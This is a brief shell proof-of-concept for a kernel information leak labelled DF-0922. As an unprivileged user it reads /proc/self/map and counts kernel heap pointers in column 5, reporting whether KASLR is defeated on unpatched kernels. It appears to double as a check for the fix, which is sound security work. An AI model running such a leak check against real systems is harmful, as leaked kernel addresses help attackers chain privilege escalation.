#!/bin/sh
# run.sh - DF-0922 PoC run: read /proc/self/map and extract column 5
#          (the %p of vm_object on unpatched kernels; literal 0x0 on fixed).
# Run as an unprivileged user.
set -e
MAPFILE="${1:-/proc/self/map}"
echo "[*] DF-0922: reading $MAPFILE as uid=$(id -u)"
echo
echo "[*] first 3 raw lines (column 5 is the leaked vm_object ptr on unpatched):"
head -3 "$MAPFILE"
echo
echo "[*] unique values in column 5:"
awk 'NF >= 5 { print $5 }' "$MAPFILE" | sort -u | head -40
echo
n=$(awk 'NF >= 5 { print $5 }' "$MAPFILE" | grep -c '^0xffff')
echo "[*] kernel pointers (0xffff...) leaked: $n"
if [ "$n" -gt 0 ]; then
  echo "[!] LEAK CONFIRMED - $n kernel heap pointers exposed (KASLR defeat)"
  exit 1
else
  echo "[+] no kernel pointers leaked (fix present or N/A)"
  exit 0
fi